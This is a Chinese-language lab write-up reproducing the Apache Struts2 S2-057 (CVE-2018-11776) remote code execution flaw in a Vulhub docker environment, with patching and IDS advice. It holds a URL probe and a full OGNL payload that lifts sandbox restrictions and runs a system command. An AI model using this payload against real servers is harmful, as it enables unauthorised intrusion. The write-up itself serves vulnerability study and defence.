Apache Struts2–057远程代码执行漏洞复现 – 作者:lyjsyqw

0x00漏洞简述

2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776)。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行

0x01影响版本

Apache Struts 2.3–Struts 2.3.34, Struts 2.5– Struts 2.5.16

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

1602506239_5f844dffba54f21eb0040.png!small

2、访问/showcase路径到Struts2测试页

http://192.168.60.131:8080/showcase

1602506253_5f844e0d129560e4f6492.png!small

3、Payload验证漏洞是否存在

http://192.168.60.131:8080/struts2-showcase/$%7B9*9%7D/actionChain1.action

1602506280_5f844e28f0d5fffd82501.png!small

返回结果

1602506294_5f844e36e239c5c8637aa.png!small

1602506310_5f844e46b3f58ab947ed4.png!small

4、POC进行漏洞利用

${

(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在利用时需要进行URL编码

1602506204_5f844ddc3e8353ef0ce8a.png!small

命令执行

1602506359_5f844e771665d9a348070.png!small

1602506331_5f844e5b8b7f10549ad53.png!small

0x03修复建议

1、将Apache Strust2版本升级到官方最新版本

2、Web应用,尽量保证代码的安全性。重点从SDL角度重视安全

3、对于IDS规则,数值计算和弹计算器返回的状态码都是302,并且Location跳转字段含有特征句柄字符串;如果是命令回显返回的200状态码,且有命令结果输出

0x04参考链接

https://www.anquanke.com/post/id/157823

来源:freebuf.com 2020-10-12 20:42:27 by: lyjsyqw

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论